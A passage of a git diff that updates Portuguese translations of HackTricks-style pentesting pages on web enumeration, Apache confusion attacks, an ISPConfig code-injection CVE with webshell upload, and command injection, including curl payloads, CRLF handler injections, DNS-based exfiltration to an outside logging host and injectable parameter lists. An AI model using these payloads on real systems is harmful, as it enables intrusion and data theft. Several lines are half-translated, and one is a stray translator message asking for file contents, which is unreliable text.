for **links** to other files inside the **CSS** files. - [If you find a _**.git**_ file some information can be extracted](git.md) -- Se você encontrar um _**.env**_ informações tais como api keys, dbs passwords e outras informações podem ser encontradas. -- Se você encontrar **API endpoints** você [should also test them](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles. -- **JS files**: Na seção de spidering várias ferramentas que extraem paths de JS files foram mencionadas. Também seria interessante monitorar cada JS file encontrado, pois em algumas ocasiões, uma alteração pode indicar que uma potencial vulnerabilidade foi introduzida no código. Você pode usar por exemplo [**JSMon**](https://github.com/robre/jsmon)**.** -- Você também deve verificar os JS files descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para ver se estão vulneráveis. +- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found. +- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them. +- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.** +- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- Em várias ocasiões, você precisará entender as regular expressions usadas. Isso será útil: [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex) -- Você também pode monitorar os arquivos onde forms foram detectados, pois uma mudança em um parâmetro ou o aparecimento de um novo form pode indicar uma nova funcionalidade potencialmente vulnerável. +- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex) +- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,21 +312,21 @@ Interesting files **502 Proxy Error** -Se qualquer página responder com esse código, provavelmente é um proxy mal configurado. Se você enviar um HTTP request como: `GET https://google.com HTTP/1.1` (com o host header e outros headers comuns), o proxy tentará acessar _**google.com**_ e você terá encontrado um SSRF. +If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF. **NTLM Authentication - Info disclosure** -Se o servidor pedindo autenticação for **Windows** ou você encontrar um login pedindo suas credentials (e pedindo o domain name), você pode provocar uma information disclosure.\ -Envie o header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido a como o NTLM authentication funciona, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do header "WWW-Authenticate".\ -Você pode automatizar isso usando o nmap plugin "_http-ntlm-info.nse_". +If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\ +**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\ +You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -É possível colocar conteúdo dentro de uma Redirection. Esse conteúdo não será mostrado ao usuário (já que o browser executará a redirection) mas algo pode estar escondido ali. +It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there. ### Web Vulnerabilities Checking -Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de checar muitas possíveis vulnerabilidades. Você pode encontrar o checklist aqui: +Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: {{#ref}} diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 2a51f6b69..210445913 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## Extensões PHP executáveis -Verifique quais extensões o servidor Apache está executando. Para procurá-las, você pode executar: +Verifique quais extensões o servidor Apache está executando. Para procurá-las você pode executar: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Além disso, alguns lugares onde você pode encontrar essa configuração são: +Além disso, alguns lugares onde você pode encontrar esta configuração são: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -23,7 +23,7 @@ Linux ``` ## LFI via .htaccess ErrorDocument file provider (ap_expr) -Se você consegue controlar o .htaccess de um diretório e AllowOverride inclui FileInfo para esse caminho, você pode transformar respostas 404 em leituras arbitrárias de arquivos locais usando a função ap_expr file() dentro do ErrorDocument. +Se você consegue controlar o .htaccess de um diretório e AllowOverride inclui FileInfo para esse caminho, você pode transformar respostas 404 em leituras arbitrárias de arquivos locais usando a função ap_expr file() dentro de ErrorDocument. - Requisitos: - Apache 2.4 com parser de expressões (ap_expr) habilitado (padrão no 2.4). @@ -42,26 +42,26 @@ Acione solicitando qualquer caminho inexistente abaixo desse diretório, por exe curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` Notas e dicas: -- Apenas caminhos absolutos funcionam. O conteúdo é retornado como o corpo da resposta do 404 handler. +- Only absolute paths work. The content is returned as the response body for the 404 handler. - As permissões efetivas de leitura são as do usuário Apache (tipicamente www-data/apache). Você não conseguirá ler /root/* ou /etc/shadow em configurações padrão. -- Mesmo que .htaccess seja de propriedade root, se o diretório pai for de propriedade do tenant e permitir renomear, você pode conseguir renomear o .htaccess original e enviar sua própria substituição via SFTP/FTP: +- Mesmo se .htaccess for root-owned, se o diretório pai for tenant-owned e permitir rename, você pode conseguir renomear o .htaccess original e enviar seu próprio substituto via SFTP/FTP: - rename .htaccess .htaccess.bk -- put your malicious .htaccess -- Use isto para ler o código-fonte da aplicação sob DocumentRoot ou caminhos de configuração de vhost para coletar segredos (DB creds, API keys, etc.). +- coloque seu .htaccess malicioso +- Use isto para ler o código-fonte da aplicação sob DocumentRoot ou vhost config paths para coletar segredos (DB creds, API keys, etc.). ## Confusion Attack -These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. +Esses tipos de ataques foram introduzidos e documentados [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) e o seguinte é um resumo. O ataque "confusion" basicamente abusa de como as dezenas de módulos que trabalham em conjunto criando um Apache não operam perfeitamente sincronizados, e fazer com que alguns deles modifiquem dados inesperados pode causar uma vulnerabilidade em um módulo posterior. ### Filename Confusion #### Truncation -The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Mas, em outras ocasiões isso será tratado como file path, o que pode causar um problema. - **Path Truncation** -It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: +É possível abusar do `mod_rewrite` como no exemplo de regra a seguir para acessar outros arquivos dentro do file system, removendo a última parte do caminho esperado adicionando simplesmente um `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -74,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Atribuição RewriteFlag enganosa** +- **Mislead RewriteFlag Assignment** -Na seguinte regra de rewrite, desde que a URL termine em .php, ela será tratada e executada como php. Portanto, é possível enviar uma URL que termine em .php após o caractere `?` enquanto carrega no caminho um tipo de arquivo diferente (como uma imagem) com código php malicioso dentro dela: +Na seguinte regra de reescrita, desde que a URL termine em .php ela será tratada e executada como php. Portanto, é possível enviar uma URL que termine em .php após o caractere `?` enquanto carrega no caminho um tipo diferente de arquivo (como uma imagem) com código php malicioso dentro dele: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -É possível acessar arquivos que o usuário não deveria conseguir acessar, mesmo quando o acesso deveria ser negado com configurações como: +É possível acessar arquivos que o usuário não deveria conseguir acessar, mesmo que o acesso devesse ser negado com configurações como: ```xml AuthType Basic @@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Isto acontece porque, por padrão, o PHP-FPM receberá URLs que terminam em `.php`, como `http://server/admin.php%3Fooo.php`, e como o PHP-FPM remove qualquer coisa após o caractere `?`, a URL anterior permitirá carregar `/admin.php` mesmo que a regra anterior o proibisse. +Isso acontece porque, por padrão, o PHP-FPM receberá URLs que terminam em `.php`, como `http://server/admin.php%3Fooo.php`; e, como o PHP-FPM remove qualquer coisa após o caractere `?`, a URL anterior permitirá carregar `/admin.php` mesmo que a regra anterior a proibisse. -### Confusão no DocumentRoot +### Confusão com DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Um fato curioso sobre Apache é que o rewrite anterior tentará acessar o arquivo tanto a partir do documentRoot quanto a partir do root. Assim, uma requisição para `https://server/abouth.html` verificará o arquivo em `/var/www/html/about.html` e em `/about.html` no sistema de arquivos. Isso basicamente pode ser abusado para acessar arquivos no sistema de arquivos. +Um fato curioso sobre o Apache é que o rewrite anterior tentará acessar o arquivo tanto a partir do documentRoot quanto do root. Assim, uma requisição para `https://server/abouth.html` verificará a existência do arquivo em `/var/www/html/about.html` e em `/about.html` no sistema de arquivos. Isso basicamente pode ser abusado para acessar arquivos no sistema de arquivos. #### **Divulgação de código-fonte do lado do servidor** -- **Divulgar código-fonte de CGI** +- **Divulgar código-fonte CGI** -Adicionar um %3F ao final é suficiente para leak o código-fonte de um cgi module: +Basta adicionar %3F ao final para leak o código-fonte de um módulo CGI: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Divulgar PHP Source Code** +- **Disclose PHP Source Code** -Se um servidor possui domínios diferentes, sendo um deles um domínio estático, isso pode ser explorado para percorrer o sistema de arquivos e leak php code: +Se um servidor tiver domínios diferentes, com um deles sendo um domínio estático, isso pode ser abusado para atravessar o sistema de arquivos e leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -133,48 +133,48 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" ``` #### **Local Gadgets Manipulation** -O principal problema com o ataque anterior é que, por padrão, a maior parte do acesso ao sistema de arquivos será negada, como no [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): +O principal problema com o ataque anterior é que, por padrão, a maior parte do acesso ao filesystem será negada, como no Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None Require all denied ``` -No entanto, sistemas operacionais [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) por padrão permitem `/usr/share`: +No entanto, os sistemas [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) permitem por padrão `/usr/share`: ```xml AllowOverride None Require all granted ``` -Portanto, seria possível **abusar de arquivos localizados dentro de `/usr/share` nessas distribuições.** +Therefore, it would be possible to **abusar de arquivos localizados dentro de `/usr/share` nessas distribuições.** **Local Gadget to Information Disclosure** - **Apache HTTP Server** com **websocketd** pode expor o script **dump-env.php** em **/usr/share/doc/websocketd/examples/php/**, o que pode leak variáveis de ambiente sensíveis. -- Servidores com **Nginx** ou **Jetty** podem expor informações sensíveis da aplicação web (por exemplo, **web.xml**) através de suas raízes web padrão colocadas sob **/usr/share**: +- Servidores com **Nginx** ou **Jetty** podem expor informações sensíveis de aplicações web (por exemplo, **web.xml**) através de suas raízes web padrão colocadas sob **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** **Local Gadget to XSS** -- No Ubuntu Desktop com **LibreOffice installed**, explorar o recurso de troca de idioma dos arquivos de ajuda pode levar a **Cross-Site Scripting (XSS)**. Manipular a URL em **/usr/share/libreoffice/help/help.html** pode redirecionar para páginas maliciosas ou versões antigas através de **unsafe RewriteRule**. +- No Ubuntu Desktop com **LibreOffice installed**, explorar o recurso de troca de idioma dos arquivos de ajuda pode levar a **Cross-Site Scripting (XSS)**. Manipular a URL em **/usr/share/libreoffice/help/help.html** pode redirecionar para páginas maliciosas ou versões antigas por meio de **insegura RewriteRule**. **Local Gadget to LFI** -- Se PHP ou certos pacotes de front-end como **JpGraph** ou **jQuery-jFeed** estiverem instalados, seus arquivos podem ser explorados para ler arquivos sensíveis como **/etc/passwd**: +- Se PHP ou certos pacotes front-end como **JpGraph** ou **jQuery-jFeed** estiverem instalados, seus arquivos podem ser explorados para ler arquivos sensíveis como **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** **Local Gadget to SSRF** -- Utilizando o **MagpieRSS's magpie_debug.php** em **/usr/share/php/magpierss/scripts/magpie_debug.php**, uma vulnerabilidade SSRF pode ser facilmente criada, fornecendo uma porta para exploits adicionais. +- Utilizando **MagpieRSS's magpie_debug.php** em **/usr/share/php/magpierss/scripts/magpie_debug.php**, uma vulnerabilidade SSRF pode ser facilmente criada, fornecendo uma porta para explorações adicionais. **Local Gadget to RCE** -- As oportunidades para Remote Code Execution (RCE) são vastas, com instalações vulneráveis como um **PHPUnit** desatualizado ou **phpLiteAdmin**. Estes podem ser explorados para executar código arbitrário, mostrando o extenso potencial da manipulação de local gadgets. +- As oportunidades para **Remote Code Execution (RCE)** são vastas, com instalações vulneráveis como um **PHPUnit** desatualizado ou **phpLiteAdmin**. Estes podem ser explorados para executar código arbitrário, demonstrando o extenso potencial da manipulação de local gadgets. #### **Jailbreak from Local Gadgets** @@ -196,11 +196,12 @@ Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is #### **Overwrite Handler to Disclose PHP Source Code** -Em [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) foi apresentada uma vulnerabilidade onde um `Content-Length` incorreto enviado por um cliente pode fazer com que o Apache enganosamente **retorne o código-fonte PHP**. Isso ocorreu por causa de um problema no tratamento de erros com ModSecurity e o Apache Portable Runtime (APR), onde uma resposta dupla leva a sobrescrever `r->content_type` para `text/html`.\ Porque ModSecurity não trata adequadamente os valores de retorno, ele retornaria o código PHP e não o interpretaria. +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), foi apresentada uma vulnerabilidade onde um `Content-Length` incorreto enviado por um cliente pode fazer com que o Apache, por engano, **retorne o código-fonte PHP**. Isso ocorria devido a um problema de tratamento de erros com o ModSecurity e o Apache Portable Runtime (APR), onde uma resposta dupla leva à sobrescrita de `r->content_type` para `text/html`.\ +Porque o ModSecurity não trata corretamente os valores de retorno, ele retornaria o código PHP e não o interpretaria. #### **Overwrite Handler to XXXX** -TODO: Orange ainda não divulgou esta vulnerabilidade +TODO: Orange ainda não divulgou essa vulnerabilidade ### **Invoke Arbitrary Handlers** @@ -210,7 +211,7 @@ According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specific > The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -Portanto, para realizar este ataque é necessário uma das seguintes vulns: +Therefore, to perform this attack is needed one of the following vulns: - CRLF Injection in the CGI response headers - SSRF with complete control of the response headers @@ -224,14 +225,14 @@ SetHandler server-status Require local ``` -É possível acessá-lo definindo o `Content-Type` como `server-status` e o Location header começando com `/` +É possível acessá-lo definindo o `Content-Type` para `server-status` e o cabeçalho Location começando com `/` ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Manipulador Arbitrário para Full SSRF** +#### **Manipulador Arbitrário para SSRF Completo** Redirecionando para `mod_proxy` para acessar qualquer protocolo em qualquer URL: ``` @@ -242,20 +243,20 @@ http://example.com/%3F %0d%0a %0d%0a ``` -No entanto, o cabeçalho `X-Forwarded-For` é adicionado, impedindo o acesso aos endpoints de metadados da cloud. +No entanto, o cabeçalho `X-Forwarded-For` é adicionado, impedindo o acesso aos endpoints de metadados da nuvem. -#### **Handler Arbitrário para Acessar o Unix Domain Socket Local** +#### **Manipulador Arbitrário para Acessar o Socket de Domínio Unix Local** -Acesse o Unix Domain Socket local do PHP-FPM para executar um PHP backdoor localizado em `/tmp/`: +Acesse o Unix Domain Socket local do PHP-FPM para executar uma backdoor PHP localizada em `/tmp/`: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **Arbitrary Handler to RCE** +#### **Handler Arbitrário para RCE** -A imagem oficial [PHP Docker](https://hub.docker.com/_/php) inclui o PEAR (`Pearcmd.php`), uma ferramenta de gerenciamento de pacotes PHP via linha de comando, que pode ser abusada para obter RCE: +A imagem oficial [PHP Docker](https://hub.docker.com/_/php) inclui o PEAR (`Pearcmd.php`), uma ferramenta de gerenciamento de pacotes PHP para linha de comando, que pode ser abusada para obter RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index b2cfb3fdd..11f28a8cd 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -2,38 +2,38 @@ {{#include ../../banners/hacktricks-training.md}} -## Visão geral +## Visão Geral -ISPConfig é um painel de controle de hospedagem open-source. Versões antigas 3.2.x incluíam um recurso de editor de arquivos de idioma que, quando ativado para o superadministrador, permitia a injeção de código PHP arbitrário via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, elevação de privilégios. +ISPConfig é um painel de controle de hospedagem de código aberto. Versões mais antigas 3.2.x incluíam um recurso de editor de arquivo de idioma que, quando habilitado para o superadministrador, permitia injeção arbitrária de código PHP via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, escalonamento de privilégios. -Principais caminhos padrão: -- A raiz web costuma estar em `/var/www/ispconfig` quando servida com `php -S` ou via Apache/nginx. -- A UI de administração é acessível no vhost HTTP(S) (às vezes vinculada apenas ao localhost; use SSH port-forward se necessário). +Key default paths: +- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx. +- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed). -Dica: Se o painel estiver vinculado localmente (ex.: `127.0.0.1:8080`), encaminhe-o: +Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` -## Language editor PHP code injection (CVE-2023-46818) +## Editor de idiomas PHP code injection (CVE-2023-46818) -- Afetado(s): ISPConfig up to 3.2.11 (fixed in 3.2.11p1) -- Pré-requisitos: -- Faça login com a conta superadmin integrada `admin` (outros papéis não são afetados segundo o fornecedor) -- O Language editor deve estar habilitado: `admin_allow_langedit=yes` em `/usr/local/ispconfig/security/security_settings.ini` -- Impacto: Um admin autenticado pode injetar PHP arbitrário que é escrito em um arquivo de idioma e executado pela aplicação, alcançando RCE no contexto web +- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) +- Preconditions: +- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor) +- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` +- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context -Referências: entrada NVD CVE-2023-46818 e link do advisory do fornecedor na seção Referências abaixo. +References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. ### Fluxo de exploração manual -1) Abra/crie um arquivo de idioma para obter tokens CSRF +1) Open/create a language file to obtain CSRF tokens -Envie um primeiro POST para inicializar o formulário e extraia os campos CSRF da resposta HTML (`csrf_id`, `csrf_key`). Exemplo de caminho de requisição: `/admin/language_edit.php`. +Envie um primeiro POST para inicializar o formulário e analisar os campos CSRF na resposta HTML (`csrf_id`, `csrf_key`). Exemplo de caminho de requisição: `/admin/language_edit.php`. -2) Injete PHP via records[] e salve +2) Inject PHP via records[] and save -Envie um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Provas mínimas de execução de comando: +Submeta um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Provas mínimas de execução de comandos: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -46,40 +46,40 @@ Teste fora de banda (observar ICMP): ```http records[]= ``` -3) Escrever arquivos e drop a webshell +3) Escrever arquivos e inserir um webshell -Use `file_put_contents` para criar um arquivo em um caminho acessível via web (por exemplo, `admin/`): +Use `file_put_contents` para criar um arquivo sob um caminho acessível pela web (por exemplo, `admin/`): ```http records[]= ``` -Em seguida, escreva um webshell simples usando base64 para evitar caracteres inválidos no corpo do POST: +Então escreva um webshell simples usando base64 para evitar caracteres inválidos no POST body: ```http records[]= ``` -Por favor, cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-web/ispconfig.md que você quer que eu traduza para o português. Sem o conteúdo não consigo fazer a tradução. +Por favor cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-web/ispconfig.md para eu traduzir. Observação: não vou traduzir código, nomes de técnicas, palavras comuns de hacking, nomes de plataformas/cloud, a palavra "leak", pentesting, links, paths, tags ou refs — e manterei exatamente a mesma sintaxe markdown/html. ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` -Se o PHP for executado como root (por exemplo, via `php -S 127.0.0.1:8080` iniciado pelo root), isso resulta em root RCE imediato. Caso contrário, você obtém execução de código como o usuário do servidor web. +Se o PHP for executado como root (por exemplo, via `php -S 127.0.0.1:8080` iniciado por root), isso resulta em root RCE imediato. Caso contrário, você obtém code execution como o usuário do servidor web. -### PoC em Python +### Python PoC -Um exploit pronto para uso automatiza token handling e payload delivery: +Um exploit pronto para uso automatiza o manuseio de tokens e a entrega do payload: - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) Exemplo de execução: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` -### Hardening +### Endurecimento -- Atualize para 3.2.11p1 ou posterior -- Desative o language editor a menos que seja estritamente necessário: +- Atualizar para 3.2.11p1 ou posterior +- Desative o editor de idiomas a menos que seja estritamente necessário: ``` admin_allow_langedit=no ``` - Evite executar o painel como root; configure o PHP-FPM ou o servidor web para reduzir privilégios -- Exija autenticação forte para a conta integrada `admin` +- Exigir autenticação forte para a conta `admin` integrada ## Referências diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index fbfd048a8..f59dbc466 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## O que é command Injection? +## What is command Injection? -A **command injection** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite que o atacante obtenha acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente. +A **command injection** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite ao atacante obter acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente. ### Contexto -Dependendo de **onde sua entrada está sendo injetada**, pode ser necessário **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos. +Dependendo de **onde sua entrada está sendo injetada** você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos. ## Command Injection/Execution ```bash @@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limitação** Bypasses +### **Limition** Bypasses -Se você está tentando executar **comandos arbitrários dentro de uma máquina linux** ficará interessado em ler sobre estes **Bypasses:** +Se você está tentando executar **comandos arbitrários dentro de uma máquina linux** você terá interesse em ler sobre estes **Bypasses:** {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parâmetros -Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e vulnerabilidades RCE semelhantes (conforme [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e vulnerabilidades RCE semelhantes (de [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injec ``` ### Time based data exfiltration -Extraindo dados: char por char +Extraindo dados: char by char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -Baseado na ferramenta disponível em `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca +Baseado na ferramenta `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Ferramentas online para verificar DNS based data exfiltration: +Ferramentas online para verificar exfiltração de dados baseada em DNS: - dnsbin.zhack.ca - pingb.in @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Ao auditar back-ends em JavaScript/TypeScript, você frequentemente encontrará a API Node.js `child_process`. +Ao auditar back-ends em JavaScript/TypeScript, você frequentemente encontrará a API `child_process` do Node.js. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` inicia uma **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para a shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string. +`exec()` spawns a **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para o shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string. -**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado do array** para que nenhuma shell esteja envolvida: +**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado do array** para que nenhum shell seja envolvido: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,7 +140,7 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Caso do mundo real: *Synology Photos* ≤ 1.7.0-0794 estava explorável através de um evento WebSocket não autenticado que colocou dados controlados pelo atacante em `id_user`, que mais tarde foram incorporados em uma chamada `exec()`, alcançando RCE (Pwn2Own Ireland 2024). +Caso real: *Synology Photos* ≤ 1.7.0-0794 era explorável através de um evento WebSocket não autenticado que colocava dados controlados pelo atacante em `id_user`, que depois eram incorporados em uma chamada `exec()`, conseguindo RCE (Pwn2Own Ireland 2024). ## Brute-Force Detection List diff --git a/src/pentesting-web/idor.md 